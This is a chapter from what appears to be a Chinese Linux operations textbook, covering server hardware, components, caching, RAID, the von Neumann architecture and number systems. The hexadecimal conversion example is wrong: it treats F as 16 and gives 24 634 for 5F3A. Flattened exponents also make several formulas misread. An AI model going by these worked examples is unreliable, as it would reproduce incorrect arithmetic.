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  第0章　计算机硬件与组成基础
 
0.1　计算机硬件分类

 
1.家用台式电脑介绍
 
家用台式电脑主要分为主机和显示器两部分（如图0-1所示），一般用于家庭娱乐（例如，听音乐、打游戏、看电影等），优点是可以配置独立显卡、声卡、显示器等设备，因此配置会更高一些，娱乐时更让人享受；缺点就是设备的体积和重量都太大，占地方且移动不方便，其在国内一二线城市已经逐步退出历史舞台了，被简便、小巧并且同样可以拥有高配置的笔记本电脑所取代。
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图0-1　家用台式电脑
 
2.笔记本电脑介绍
 
笔记本电脑以简便、轻巧、携带方便等优点被更多人选择使用（如图0-2所示），其早期多用于办公，现在已经逐步走进千家万户，成为国内计算机用户的主流选择。与早期的产品不同，现在的笔记本电脑的部件配置也可以很高，并且价格早已下降到普通用户可以接受的程度了。
 
 
 [image: ] 


图0-2　笔记本电脑
0.2　运维与服务器
 
90%以上的Linux基础图书，都只讲解了Linux基础以及Linux开发，而未提及Linux运维这个岗位名词，其实学Linux最直接的目的就是维护Linux服务器，哪怕是开发人员，学习的目的也是如此，因此本书不会只讲解Linux，而是根据企业Linux运维岗位真正的需求来讲解Linux基础及Linux运维核心知识，使得读者在学习Linux的同时，可以对未来企业里的Linux运维工作岗位所需的知识有一个很好的了解，这也是本书区别于其他Linux基础图书的核心所在。
 
0.2.1　运维人员的三个核心职责
 
下面来看一下运维人员的三大核心职责。
 
·企业数据安全（不丢失、不泄露）。
 
企业数据是现代各个IT企业的生命线，作为Linux运维人员，不但不能丢失任何数据，同时，也不能向外部人员泄露公司的任何有用数据。读者可以搜索“拖库事件”以了解当下社会上的企业数据安全信息。
 
·企业业务7×24小时运行（永不停机）。
 
互联网企业甚至是传统企业（例如，银行和电信），除了数据安全之外，还需要业务有持续运行的能力，这对Linux运维人员提出了更高的要求，也是运维人员高薪的原因。
 
如表0-1所列举的是企业网站和应用的可用性的衡量标准。
 
表0-1　企业网站和应用的可用性的衡量标准
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其中，一般中小企业的业务持续可用性级别至少应该是99.9%，中大型企业应达到99.99%甚至是99.999%。
 
·企业业务服务效率高（用户体验好）。
 
一切的企业工作最终都是为了向用户提供高效、舒心的服务，如果网站打开的速度很慢，用户体验很差，那么这样的企业是没有任何生命力的，因此Linux运维人员需要不断地优化网站业务，使得用户能够进行高效的访问，这种能力是决定Linux运维人员是否能拿高薪的必备条件。
 
[image: ]注意：运维人员的基本工作原则：简单、易用、高效、稳定、安全。
 
如果在达到上述三大核心原则的情况下，还能对网站架构不断地进行优化和调整，从而达到节省服务器数量、IDC和CDN带宽，甚至能够使用云计算、容器服务，以及开发自动化平台等提高工作效率、节省企业人力成本，那这样的运维工程师简直堪称完美，拿到高薪自然也是水到渠成。
 
0.2.2　运维人员工作的主战场——服务器
 
1.什么是服务器？
 
服务器是提供计算和存储服务的设备（如图0-3所示）。由于服务器需要响应服务请求，并进行处理，因此一般来说，服务器应具备承担服务及保障服务的能力。服务器的构成包括处理器、硬盘、内存、系统总线等，这与通用的计算机架构类似，但是由于需要提供高性能高可靠的服务，因此，在处理能力、稳定性、可靠性、安全性、可扩展性、可管理性等方面要求较高。
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图0-3　Dell R730 2U和R620 1U互联网主流服务器外观
 
上述对于服务器的介绍比较复杂，一句话概括：服务器就是一台特殊的计算机，配置更高，设备更贵更好，主要用在企业的后台，为用户提供各种业务服务。
 
服务器的功能：搭建网站（互联网企业常见应用）等应用服务所使用的机器，相对于其他台式电脑、笔记本电脑来说，使用服务器更加稳定可靠，其硬件有7×24小时的持续运行能力。
 
2.服务器的尺寸
 
就像笔记本电脑的显示器按照屏幕大小可分为14英寸[1]、15.6英寸等一样，服务器也是有尺寸的，这个尺寸一般用于描述服务器的高度，即（U）（如图0-4所示）。
 
 
 [image: ] 


图0-4　Dell 4U服务器的背面
 
服务器的尺寸是按U计算的。1U服务器表示服务器的高度是4.45cm（1.75英寸）。
 
如图0-5所示，服务器的内部结构与台式电脑大同小异，基本零部件与台式电脑一样必须要有，例如，CPU处理器、内存、磁盘，所不同的是，服务器可以容纳的CPU处理器的数量更多，风扇也更多，可插拔的硬盘数量也可以多很多，后文将为大家详细讲解服务器的内部组件。
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图0-5　Dell 2U服务器的内部结构
 
关于服务器，如有不了解或者存在疑问的地方，可以咨询相关的服务器销售人员，他们一定会很乐意回答。
 
0.2.3　服务器按外形分类
 
1.机架式服务器
 
机架式服务器的外形看起来不像计算机，而更像“抽屉”（如图0-6所示），有1U（1U=1.75英寸=44.45mm）、2U、4U等规格。机架式服务器一般安放在标准的19英寸机柜里面，是工作中使用最多的服务器类型。
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图0-6　2U机架式服务器外形
 
2.刀片服务器
 
刀片服务器的外观类似于一个箱子里摆放整齐的书（如图0-7所示）。
 
所谓刀片服务器（准确地说应该叫作刀片式服务器），是指在标准高度的机架式机箱内插装多个卡式服务器单元，以实现高可用性和高密度。每一块“刀片”实际上就是一块系统主板。它们可以通过“板载”硬盘启动自己的操作系统，如Windows 8/10、Linux等，类似于一个个独立的服务器。在这种模式下，每一块母板均会运行自己的系统，服务于指定的不同用户群，相互之间没有关联，因此相对于机架式服务器和机柜式服务器，单片母板的性能较低。不过，管理员可以使用系统软件将这些母板集合成一个服务器集群。在集群模式下，所有的母板都可以连接起来，从而提供高速的网络环境，并且它们还会共享资源，为相同的用户群服务。在集群中插入新的“刀片”即可提高整体性能。而由于每块“刀片”都是热插拔的，所以，系统可以轻松地进行替换，并且将维护时间减少到最小。
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图0-7　刀片式服务器
 
3.塔式服务器——更强壮的计算机
 
塔式服务器（Tower Server）应该是最容易理解的一种服务器结构类型，因为它的外形及结构都与立式PC差不多（如图0-7所示）。当然，由于服务器的主板的扩展性较强，插槽也多出了若干个，所以外观会比普通主板大一些，因此塔式服务器的主机机箱也比标准的ATX机箱要大，一般都会预留足够的内部空间以便日后进行硬盘和电源的冗余扩展。但这种类型的服务器具有不少局限性，比如，在需要多台服务器同时工作以满足较高的服务器应用需求时，由于其个体比较大，占用空间比较多，也不方便管理，所以会显得很不适合。
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图0-8　塔式服务器的外部结构
 
[1] 1英寸＝2.54厘米。——编辑注
0.3　互联网公司的服务器品牌
 
国内互联网公司使用的服务器品牌比较多，从笔者及同行和学员从事的互联网公司来看，DELL品牌的服务器是最多的，也是性价比较高的，下面笔者将比较了解的品牌整理成一个简表，见表0-2。
 
表0-2　服务器品牌简表
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需要说明的是，现在越来越多的企业直接购买云服务了，因此，服务器硬件也逐渐落寞。随着云服务器的发展，中小企业直接购买硬件的机会也越来越少，各类硬件工程师的岗位和前景越来越不明朗，建议这部分人员加速转行到Linux运维或者Python开发的领域（在这两个领域上，他们之前用到的技术都可以叠加到Linux运维上）。
0.4　服务器品牌详解及对应型号
 
1.Dell服务器
 
如表0-3所示的是Dell服务器生产与使用的时间，以及对应的U数，读者可以参考。
 
表0-3　Dell服务器生产与使用的时间及对应的U数
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[image: ]提示：以Dell机架式服务器为例，R2X0到R6X0基本都是1U的，R7X0或R8X0是2U的，R9X0是4U的。其中，“X”表示1~3这几个数字，个别可以有4。
 
下面推荐一些查询DELL服务器配置的方式。
 
·Dell服务器的配置官网：http://china.dell.com/cn/business/p/servers。

·中关村在线：http://server.zol.com.cn/。

·咨询服务器的销售人员。
 
图0-9～图0-12以Dell R720 2U服务器为例说明了服务器的外部结构。
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图0-9　Dell R720服务器常用接口说明
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图0-10　Dell R720液晶屏幕显示IP地址
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图0-11　Dell R720正面图
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图0-12　Dell R720正面加上盖子后的图
 
2.IBM服务器
 
IBM服务器的型号及对应的U数见表0-4。
 
表0-4　IBM服务器型号及对应的U数
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IBM服务器质量好，但价格贵，互联网公司不太常用，仅作了解即可。
 
目前来看，“IOE”代表了全球三个领域里最好的品牌，即IBM服务器、Oracle（甲骨文数据库）和Emc（存储厂商设备），但互联网公司从2010年起就在提倡去IOE，代表企业为阿里巴巴集团，企业去IOE的本质是企业变大以后，购买IOE的成本开销会成倍增加，而且IOE的设备都是黑盒运行，并不能为企业完全掌控，受限于厂商。
0.5　服务器（计算机）核心零部件介绍
 
图0-13为拆开盖子后的Dell服务器内部结构图，读者可以通过此图了解Dell服务器的内部结构信息，其中对相关区域做了简单标记。
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图0-13　Dell服务器的内部结构图
 
0.5.1　电源
 
电源相当于人体的心脏，需保障电力供应，如果要买服务器，请选择质量好的电源。
 
在生产中，若是单个服务器负责核心业务，那么最好使用双电源，分别接机房A、B线路。如果服务器是集群中的一台（若干机器做一件事），那么可以不用双电源。除此之外，运维工作就不用再过多考虑电源的其他问题了。
 
电源的代表示例如图0-14和图0-15所示。
 
 
 [image: ] 


图0-14　Dell服务器可插拔电源的“苗条”和“富态”两种外形
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图0-15　台式电脑和笔记本电脑的电源
 
0.5.2　CPU处理器
 
CPU处理器相当于人体的大脑，负责整个计算机的运算和控制，是影响服务器性能效率的最核心部件（如图0-16所示）。
 
CPU常见的种类分为精简指令集和复杂指令集两类，具体说明如下。
 
精简指令集的CPU设计代表有SUN公司的SPARC系列和ARM系列等，这类CPU的设计特点是指令集精简，每个指令执行的时间很短，操作很简单、效率较高。
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图0-16　CPU外形示例
 
复杂指令集的设计代表有大家熟知的Intel至强系列（XEON）（应用广泛）和AMD系列（应用不多）等。这类CPU的设计特点是指令数量多、指令集复杂，且执行的时间较长，但能处理的事务更多、更丰富。
 
Intel、AMD作为x86架构的CPU，主要用于PC或DELL等常见品牌的系列服务器上。
 
服务器CPU的颗数，我们称为路数。例如，DELL R630双路1U服务器、DELL R720双路2U服务器、DELL R830四路2U服务器。
 
CPU一般通过频率吉赫兹（GHz）表示性能的好坏，频率越高速度越快，简单地说，CPU频率就是用来表示CPU每秒钟的工作次数，例如，笔者所用电脑的CPU是Intel（R）Core（TM）i7-6700HQ CPU@2.60Hz（8 CPUs），~2.6GHz。
 
企业级常见的物理服务器配置包括如下两种。
 
·一般企业里的服务器，CPU个（颗）数为2～4颗，单个（颗）CPU是四核。内存总量一般是16～256GB（32GB、64GB比较常见）。

·用于虚拟化的宿主机（例如，应用VMware（虚拟化软件）、KVM的主机），CPU颗数可达4～8颗，内存总量一般是48～128GB，常规企业可以同时启动6～10个虚拟机，甚至更多，主要是根据业务需求决定虚拟机的配置大小。
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图0-17　服务器CPU风扇
 
CPU长时间运行会发热，因此需要配置降温的设备，即CPU风扇或散热片（如图0-17和图0-18所示），散热片主要是用金属铜或者铝制作的，目的是将热量快速传导出去。
 
在企业级系统运维中，选择CPU硬件配置，以及监测和优化服务器系统的CPU性能，是运维人员的常见工作之一。CPU的优化是一项复杂的工作，需要长期的实践和反复观察，由于这部分内容的难度很大且复杂，笔者在后期出版的系列高级技术图书中会加重笔墨，读者可以重点关注。
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图0-18　服务器CPU上附带的散热片以及翻开的CPU示意
 
0.5.3　内存
 
内存（RAM）是CPU和磁盘之间的缓冲设备（如图0-19所示），是临时存储器（用于存放数据）。若断电，数据就会丢失。
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图0-19　服务器内存展示
 
程序运行的时候，一般会被调度到内存中执行，服务器关闭或程序关闭之后，数据将自动从内存中释放掉。
 
1.程序和进程的基本概念
 
这里简单介绍程序和进程的区别，具体见表0-5。
 
表0-5　程序、进程、守护进程间的区别
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2.企业案例：提升用户体验的网站解决方案
 
（1）门户（大网站）极端案例：大并发写入案例（抢红包、微博）
 
遇到高并发、大数据量“写”数据的极端情况时，系统会将数据先写到内存中，在数据积累了一定的量后，再定时或者定量地写到磁盘中以减轻磁盘的压力，减少磁盘I/O（Input/Output，磁盘的输入/输出），最终再将数据加载到内存中以对外提供访问，目的还是为了减轻对磁盘的访问压力，相关流程如图0-20所示。
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图0-20　企业高并发业务写入流程图
 
这种状况的特点具体如下。
 
·优点是写数据到内存时，性能高、速度快（适用于微博、微信、SNS（社交网）、秒杀等场景）。

·缺点是可能会丢失一部分在内存中还没有来得及存入磁盘的数据。
 
解决数据丢失的方法具体如下。
 
·在服务器主板上安装蓄电池，在断电后宕机前瞬间将内存数据回写到磁盘。

·UPS（一组蓄电池）不间断供电（IDC数据中心机房一般都会用UPS持续供电）。UPS（Uninterruptible Power System/Uninterruptible Power Supply），即不间断电源，是将蓄电池（多为铅酸免维护蓄电池）与主机相连接，通过主机逆变器等模块电路将直流电转换成市电的系统设备。

·选双路电的机房，使用双电源、分别接不同路的电，以及将服务器放到不同的机柜中，将企业业务放置到不同的地区（异地）。

·柴油发电机+油罐，机房一般会与附近的加油站签订紧急供油协议。
 
（2）中小型企业案例
 
对于并发访问（可简单理解为同时访问的数量）不是很大、数据量也不是特别大的网站，若是业务读多写少，则会先将数据写入磁盘中，然后通过程序将写到磁盘的数据读到内存中，再对外通过读取内存提供访问服务（如图0-21所示）。绝大多数企业的业务逻辑还是读请求（例如，浏览页面）多于写请求（例如，写文章、发朋友圈）。
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图0-21　中小型企业访问量低的读写流程示意
 
[image: ]注意：由于99%的网站以及企业业务都是以读取为主、写入为辅的，读写比例一般可能大于10：1，所以并发写入一般都不是大问题。这里提到的将数据写入内存一般是由Memcached或Redis等高效的内存级别软件来实现的，各类关系型数据库一般也都提供了读写缓存的功能。
 
3.企业Linux面试题：计算机操作系统中，缓冲区和缓存区有什么区别？
 
对于新手，可参考如下说明来理解或解答。
 
（1）缓冲区
 
将数据写入内存，这个数据的内存空间在Linux系统里一般称为缓冲区（buffer），例如，写入到内存缓冲区，即写缓冲。
 
为了提高写操作性能，数据在写入最终介质或下一层级介质之前会合并放入缓冲区中。这样会增加数据持久写的延时，因为第一次写入缓冲区后，在向下写入数据之前，还要等待后续的写入，以便凑够数据或者定时写入到永久存储介质中。
 
（2）缓存区
 
从内存中读取数据，这个存数据的内存空间在Linux系统里一般称为缓存区（cache），例如，从内存缓存区读取，即读缓存。
 
操作系统利用缓存提高文件系统的读性能和内存的分配性能，应用程序使用缓存也是为了提高读访问效率。将经常访问的操作结果保存在缓存中可备随时使用，而非总是执行读磁盘以获取数据等开销较高的操作。
 
记住一句话：缓存无处不在，无论是电脑硬件、操作系统，还是企业网站集群及其他业务系统！
 
0.5.4　磁盘
 
1.磁盘的基础知识
 
磁盘就是永久存放数据的存储器（如图0-22、图0-23和图0-24所示），不过，磁盘上也是有缓存的（芯片）。
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图0-22　有不同接口类型的硬盘图
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图0-23　企业级硬盘外观与硬盘架子及SSD硬盘外观
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图0-24　企业级硬盘从服务器插拔瞬间
 
常用的磁盘（硬盘）都是3.5英寸的，常规的机械硬盘，读取（性能不高）性能相比内存差很多，所以，在企业中，我们才会将大量的数据缓存到内存中，写入到缓冲区中，这是当今互联网网站必备的解决网站访问速度慢的方案。
 
磁盘的接口包括IDE、SCSI、SAS、SATA等种类，其中IDE、SCSI已退出历史舞台。
 
磁盘的类型又分为机械磁盘和SSD（固态硬盘）两种。
 
性能与价格排序（从高到低）：SSD（固态硬盘）>SAS>SATA。
 
2.磁盘的相关单位
 
现在生产的单块磁盘的容量越来越大，体积却越来越小，速度也越来越快，其中，常见的磁盘有300GB、600GB、1TB、3TB、4TB等规格。
 
[image: ]注意：对于工业级（企业级）硬盘计算，以1000为单位进行换算，即1TB=1000GB。有关数据单位的换算，见0.7.3节。
 
3.计算机与服务器的各硬件I/O对比
 
I/O（Input/Output）即输入/输出，一般翻译为读写。衡量磁盘读写速度的单位是iops，即input/output per second（每秒的输入输出）。
 
通过图0-25不难发现，CPU的速度最快，其次是内存，最慢的就是硬盘和网卡了。图0-25可以帮助读者理解不同设备的性能差距，未来做运维工作的时候，可从速度慢、瓶颈大的设备进行改进和转化。
 
4.小结
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图0-25　计算机各级设备I/O性能基本对比
 
·企业级硬盘适合7×24小时持续使用，一般较贵，与笔记本电脑以及家用台式电脑的硬盘有区别（工业级和家用）。

·对于企业高并发网站来讲，系统都会尽量让用户从内存中读取数据，而不是硬盘。

·企业运维和架构师做网站优化，以及服务器、软件优化的核心本质，几乎都是在调整磁盘和内存之间的使用比例。
 
图0-26所示的是缓存在服务器各硬件上的速度和大小对比另类维度图解，从上到下由高速到低速，容量从小到大。
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图0-26　缓存在服务器各硬件上的速度和大小对比另类维度图解
 
0.5.5　Raid卡（阵列卡）
 
当企业的网站（业务）数据量很大，单块盘装不下了的时候，若购买多块硬盘存放数据，则需要利用工具（Raid）将所有硬盘整合成一个大磁盘，再在这个大磁盘上分区（划分隔断、虚拟磁盘）存放数据，但是硬盘多了势必会有损坏，可数据是不能丢的。因此，Raid还具备另一大功能，就是多块硬盘放置在一起可以配置冗余（备份），即使若干硬盘有损坏，数据也不会丢失，又因为业务对多块硬盘存储的数据访问效率也有需求，因此，Raid分成了不同的级别。比如，Raid0、Raid1、Raid10、Raid5等，更多具体划分情况将在本书后文详细说明。
 
那么，什么是Raid呢？它其实是一种技术，称为磁盘冗余阵列，Raid的实现有软Raid（即软件实现）和硬Raid（即硬件实现），二者的主要区别就是，硬件Raid的实现性能、冗余都更好、更高。不过，在企业真正的重要服务器里，Raid几乎是不被采用的，请读者注意这点。
 
1.Raid卡（阵列卡）的好处
 
·可以将所有硬盘整合到一起（扩充容量）。

·可以使得数据更加安全（数据冗余）。

·可以获得更高的效率（读写性能）。
 
如果有Raid卡，则一般会将磁盘连接到Raid卡上，而不是直接插到主板上，Raid卡最终将插到主板对应的插槽里。
 
与Raid卡相关的内容如图0-27和图0-28所示。
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图0-27　Dell服务器的Raid卡
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图0-28　确保数据安全的Raid卡电池
 
前面已经提到过，Raid分软Raid和硬Raid，其中，硬Raid卡又分两种，具体如下：
 
·服务器板载Raid卡，缺点是只支持Raid0或Raid1级别。

·独立Raid卡，支持更多功能。
 
2.Raid的多种整合方式（Raid级别）
 
Raid级别有很多种，常见的Raid级别有Raid0、Raid1、Raid5、Raid10。
 
互联网公司的服务器一般都会购买独立Raid卡，Raid卡上也是有缓存的，具体说明如下：
 
·冗余从好到坏：Raid1、Raid10、Raid5、Raid0

·性能从好到坏：Raid0、Raid10、Raid5、Raid1

·成本从低到高：Raid0、Raid5、Raid1、Raid10
 
[image: ]小作业：了解Raid的常见级别、冗余、性能和特点，这部分知识在本书后文Linux运维图（或者下一部图书）中会详细讲解，读者可先进行大致了解，然后跟着本系列书学习。
 
0.5.6　光驱
 
光驱作为一个设备也已经几乎退出历史舞台了，几乎所有的影视剧、音乐等也都不再使用光驱发行。
 
在企业应用中，光驱主要用于为服务器装系统，不过，出于为公司省钱考虑，可在购买服务器时淘汰光驱，换成下面的高效安装方式。
 
·用U盘做镜像来安装系统。

·还可以使用更高端的网络安装（ftp、http），无人值守批量安装系统（pxe+kickstart）。
 
参考文档：
 
http://blog.oldboyedu.com/autoinstall-kickstart/

 
http://blog.oldboyedu.com/autoinstall-cobbler/

 
以下课程里提供了无人值守安装的面授课程和视频课程，读者有需要可以进入www.oldboyedu.com咨询。
 
0.5.7　远程管理卡
 
远程管理卡是服务器特有的远程管理部件，在家用电脑及笔记本电脑上是不存在的，如图0-29所示。
 
远程控制卡的作用是通过网络远程（异地）开关服务器，并可以查看服务器开关的过程等信息，早期（2010年以前），服务器托管在IDC机房，如果出现问题，运维人员必须亲自到机房或者请机房中的人管理，有了管理卡之后，运维人员管理服务器的效率就大大提高了。
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图0-29　Dell服务器的远程控制卡
 
远程管理卡分为服务器自带远程管理卡和独立远程管理卡两类。服务器自带的远程管理卡，可以关机、开机，但是看不到开关服务器的过程。因此，建议为服务器配备独立的远程管理卡，成本上可能会多花人民币100元左右，但是好处是很明显的，当服务器出现问题时，不用打车或出差，也不用给机房人员打电话，而是可以利用管理卡快速查看服务器故障及恢复服务。
 
0.5.8　机房里的服务器
 
服务器一般是存放在机房的机柜里面的，一定要为服务器的各类线贴上规范标签，标记出每根线的用途等必要信息，如图0-30和图0-31所示。
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图0-30　服务器网线上的标签
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图0-31　服务器电源线上的标签

 
作为一名专业的Linux运维人员，不仅要熟悉Linux运维基础，在工作中也需要更专业和规范，下面是关于运维人员专业性的一篇文章，希望能提供一些启发：http://blog.51cto.com/oldboy/2083789。
 
0.5.9　主板（普通电脑）
 
主板实际上就是一块电路板，相当于人体的骨架，CPU、内存、磁盘、Raid卡等所有硬件设备最终都要连接在主板上，才能正常工作。图0-32展示的是普通台式电脑的主板示意。
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图0-32　普通台式电脑的主板示意
 
这里主要介绍一下南桥芯片、北桥芯片和BIOS芯片。
 
南桥芯片（South Bridge）是主板芯片组的重要组成部分，一般位于主板上离CPU插槽较远的下方、PCI插槽的附近。这种布局是考虑到它所连接的I/O总线较多，离处理器远一点有利于布线。相对于北桥芯片来说，其数据处理量并不算大，所以南桥芯片一般都没有覆盖散热片。南桥芯片不与处理器直接相连，而是通过一定的方式（不同厂商的各种芯片组有所不同，例如，英特尔的英特尔Hub Architecture以及SIS的Multi-Threaded“妙渠”）与北桥芯片相连。
 
南桥芯片负责I/O总线之间的通信，如PCI总线、USB、LAN、ATA、SATA、音频控制器、键盘控制器、实时时钟控制器、高级电源管理等，这些技术相对来说一般比较稳定，所以在不同的芯片组中，它们的南桥芯片可能是一样的，不同的只是北桥芯片。南桥芯片的发展方向主要是集成更多的功能，例如网卡、Raid、IEEE 1394，甚至是Wi-Fi无线网络等。图0-32中，中间靠下的那个较大的芯片就是主板的南桥芯片。
 
北桥芯片（North Bridge）负责与CPU联系，并且会控制内存、AGP数据在北桥内部传输，提供对CPU的类型和主频、系统的前端总线频率、内存的类型（SDRAM、DDR SDRAM以及RDRAM，等）和最大容量、AGP插槽、ECC纠错等的支持，整合型芯片组的北桥芯片还集成了显示核心。北桥芯片就是主板上离CPU最近的芯片，这主要是考虑到北桥芯片与处理器之间的通信最为密切，因此，为了提高通信性能而缩短了传输距离。因为北桥芯片的数据处理量非常大，发热量也越来越高，所以现在的北桥芯片都覆盖着散热片以加强散热，有些主板的北桥芯片还会配合风扇进行散热。
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图0-33　BIOS芯片图
 
BIOS（Basic Input Output System）芯片（CMOS芯片）（如图0-33所示）负责主板通电后各部件的自检、设置和保存，一切正常后才能启动操作系统。其记录了电脑最基本的信息，是软件与硬件打交道的最基础的桥梁，没有它，电脑就不能正常工作。
 
常见的三种BIOS分别为Award、AMI、Phoenix。
0.6　计算机和服务器的主要构成图解
 
一台计算机是由许许多多的零部件组成的，只有这些零部件组合在一起协调地工作，才能称之为计算机（如图0-34所示）。计算机发展到现在，虽然零部件都发生了很大的变化，但其工作原理却没有改变，其中包括主板、CPU、内存、硬盘、显卡、声卡等，其基本工作原理如图0-35所示。
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图0-34　服务器核心零件形象图解
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图0-35　计算机核心零件之间的关系
 
首先，用户通过鼠标、键盘等输入设备，将文字、图形等传给计算机，通过CPU（复制控制和计算）进行处理，需要永久存储的数据将会存储到硬盘里，需要持久执行的程序将会调度到内存（RAM）里运行，需要显示的信息将会通过显示器等设备显示给用户。
 
图0-36所示的是计算机硬件设备的三角形图解，可为读者了解计算机设备提供参考。
 
上文有关电脑硬件的介绍纯属扫盲用的，读者了解一些硬件基础就够用了，下面将详细讲解服务器的核心部件组成及相关的知识点，这对于想了解企业Linux运维工作核心的读者来说就是关键的知识了。
0.7　计算机系统基础
 
0.7.1　冯·诺依曼计算机
 
提到计算机，就不得不提及在计算机的发展史上做出杰出贡献的著名应用数学家冯·诺依曼（Von Neumann），是他带领专家提出了一个全新的存储程序的通用电子计算机方案。这个方案规定了新机器由5个部分组成：运算器、逻辑控制装置、存储器、输入和输出（如图0-37所示）。并描述了这5个部分的职能和相互关系。这个方案与早期的ENIAC相比，有两个重大改进：一是采用二进制；二是提出了“存储程序”的设计思想，即用记忆数据的同一装置存储执行运算的命令，使程序的执行可以自动地从一条指令进入下一条指令。这个概念被誉为计算机史上的一个里程碑。计算机的存储程序和程序控制原理因此称为冯·诺依曼原理，按照上述原理设计制造的计算机称为冯·诺依曼机。
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图0-36　计算机硬件设备的三角形图解
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图0-37　计算机的组成框架
 
简单概括就是，冯·诺依曼计算机结构包含3条重要的设计思想，具体如下。
 
·计算机应由运算器、控制器、存储器、输入设备和输出设备5大部分组成。

·以二进制的形式表示数据和指令。

·程序预先存入存储器中，计算机在工作中能够自动地从存储器中取出程序指令并加以执行。
 
0.7.2　计算机系统的基本工作原理
 
1.计算机的指令系统
 
指令是指能被计算机识别并执行的二进制代码，它规定了计算机能够完成的某一种操作。一条指令通常由如下两个部分组成：
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·操作码：它用于指明该指令要完成的操作，如存数、取数等。操作码的位数决定了一个机器指令的条数。当使用定长度操作码格式时，若操作码位数为n，则指令条数可有2n条。

·操作数：它是指操作对象的内容或者所在的单元格地址。在大多数情况下，操作数是地址码，地址码有0～3位。从地址代码得到的仅是数据所在的地址，既可以是源操作数的存放地址，也可以是操作结果的存放地址。
 
2.计算机的工作原理
 
计算机的工作过程实际上是快速地执行指令的过程。计算机在工作时，共有两种信息在流动，一种是数据流，另一种是控制流。
 
数据流是指原始数据、中间结果、结果数据、源程序等。控制流是由控制器对指令进行分析、解释后向各部件发出的控制命令，用于指挥各部件之间协调地工作。
 
下面通过指令的执行过程来认识计算机的基本工作原理吧！计算机的指令执行过程可分为如下几个步骤。
 
1）取指令。从内存储器中取出指令送到指令寄存器。
 
2）分析指令。对指令寄存器中存放的指令进行分析，由译码器对操作码进行译码，将指令的操作码转换成相应的控制电信号，并由地址码确定操作数的地址。
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图0-38　指令的执行过程
 
3）执行指令。它是由操作控制线路发出的完成该操作所需要的一系列控制信息，以完成该指令所需要的操作。
 
4）为执行下一条指令做准备。形成下一条指令的地址，指令计数器指向存放下一条指令的地址，最后控制单元将执行结果写入内存。
 
上述步骤执行完毕后，也就完成了一条指令，一条指令的执行过程称为一个“机器周期”。指令的执行过程如图0-38所示。
 
计算机在运行时，CPU从内存读取一条指令到CPU内执行，指令执行完毕，再从内存读取下一条指令到CPU执行。CPU不断地读取指令、分析指令、执行指令，再读取下一条指令，这就是程序的执行过程。
 
总之，计算机的工作就是执行程序，即自动连续地执行一系列指令，而程序开发人员的工作就是编制程序，使计算机持续地工作。
 
0.7.3　计算机数据记录单位
 
由于计算机是通过电位记录信息的，因此仅能识别0和1这两个数字，故而在计算机内部，数据都是以二进制的形式存储和运算的，下面就来介绍计算机数据的常用计量单位。
 
1.位（bit）
 
计算机存储数据的最小单位为位（bit），中文称为比特，一个二进制位只能表示0或1两种状态，若要表示更多的信息，则要将多个位组合成一个整体，一般以8位二进制组成一个基本单位。由于比特这个单位太小了，因此用比特作为单位的情况比较少，网络带宽速率一般用Mbit/s来表示，正常的下载速度就是1Mbit/s=128KBytes/s，这就是购买了1MB的带宽，而实际下载速度为128 KBytes/s的原因。
 
2.字节（Byte）
 
字节是计算机数据处理的基本单位。字节（Byte）简记为B，规定1字节为8位，即1B=8bit。每字节由8位二进制组成。一般情况下，一个ASCII码占用1字节，一个汉字占用2～4字节。
 
3.数据的换算关系
 
1Byte=8bit，1KB=1024B，1MB=1024KB，1GB=1024MB，1TB=1024GB，1PB=1024TB，1EB=1024PB，1ZB=1024EB
 
0.7.4　计算机常用计数制
 
用若干数位（由数码表示）的组合去表示一个数，各个数位之间是什么关系，即逢“几”进位，这就是进位计数制的问题，也就是数制问题。数制，即进位计数制，是人们利用数字符号按进位原则进行数据大小计算的方法。通常是以十进制来进行计算的，另外，还有二进制、八进制和十六进制等。
 
在计算机的数制中，读者需要掌握3个概念，即数码、基数和位权。下面简单介绍一下这3个概念。
 
·数码：一个数制中表示基本数值大小的不同数字符号。例如，八进制有8个数码，即0、1、2、3、4、5、6、7。

·基数：一个数值所使用的数码的个数。例如，八进制的基数为8，二进制的基数为2。

·位权：一个数值中某一位上的1所表示数值的大小。例如，八进制的123，1的位权是64，2的位权是8，3的位权是1。
 
1.十进制（Decimal notation）
 
十进制的特点具体如下。
 
·包含10个数码：0、1、2、3、4、5、6、7、8、9。

·基数：10。

·逢十进一（加法运算），借一当十（减法运算）。
 
十进制转换为十进制的计算式举例说明如下。
 
例如，将一个整数123456转换为十进制表示的计算式为：
 
123456=1×105＋2×104＋3×103＋4×102＋5×101＋6×100
 
2.二进制（Binary notation）
 
二进制的特点具体如下。
 
·包含两个数码：0、1。

·基数：2。

·逢二进一（加法运算），借一当二（减法运算）。
 
二进制转换为十进制的计算式举例说明如下。
 
例如，将一个二进制数1101转换为十进制表示的计算式为：
 
1×20＋0×21＋1×22＋1×23=13
 
3.八进制（Octal notation）
 
八进制的特点具体如下。
 
·包含8个数码：0、1、2、3、4、5、6、7。

·基数：8。

·逢八进一（加法运算），借一当八（减法运算）。
 
八进制转换为十进制的计算式举例说明如下。
 
例如，将一个八进制数123转换为十进制表示的计算式为：
 
3×80＋2×81＋1×82=83
 
4.十六进制（Hexadecimal notation）
 
十六进制的特点具体如下。
 
·包含16个数码：0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F。

·基数：16。

·逢十六进一（加法运算），借一当十六（减法运算）。
 
在16个数码中，A、B、C、D、E和F这6个数码分别代表十进制的10、11、12、13、14和15，这是国际上通用的表示法。
 
十六进制转换为十进制的计算式举例说明如下。
 
例如，将一个十六进制数5F3A转换为十进制表示的计算式为：
 
10×160＋3×161＋16×162＋5×163=24 634
 
二进制数与其他数之间的对应关系如表0-6所示。
 
表0-6　几种常用进制之间的对照关系
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0.8　计算机中数据的表示
 
0.8.1　数值数据的表示
 
1．机器数和真值
 
计算机中使用的是二进制，因此只有0和1这两种值。一个数在计算机中的表示形式，称为机器数。机器数所对应的原来的数值称为真值，由于采用二进制必须将符号数字化，因此通常是利用机器数的最高位作为符号位的，但仅用来表示数符。若该位为0，则表示正数；若该位为1，则表示负数。机器数也有不同的表示方法，常用的机器数共有3种：原码、补码和反码。
 
机器数的表示方法：用机器数的最高位代表符号（若为0，则代表正数；若为1，则代表负数），其数值位为真值数的绝对值。举例用8位二进制数表示一个数，如图0-39所示。
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图0-39　用8位二进制表示一位数
 
在数的表示中，机器数与真值的区别是：真值带符号如-0011100，机器数不带数符，最高位为符号位，如10011100，其中最高位1代表符号位。
 
例如，真值数为-0111001，其对应的机器数为10111001，其中最高位为1，表示该数为负数。
 
2．原码、反码、补码的表示
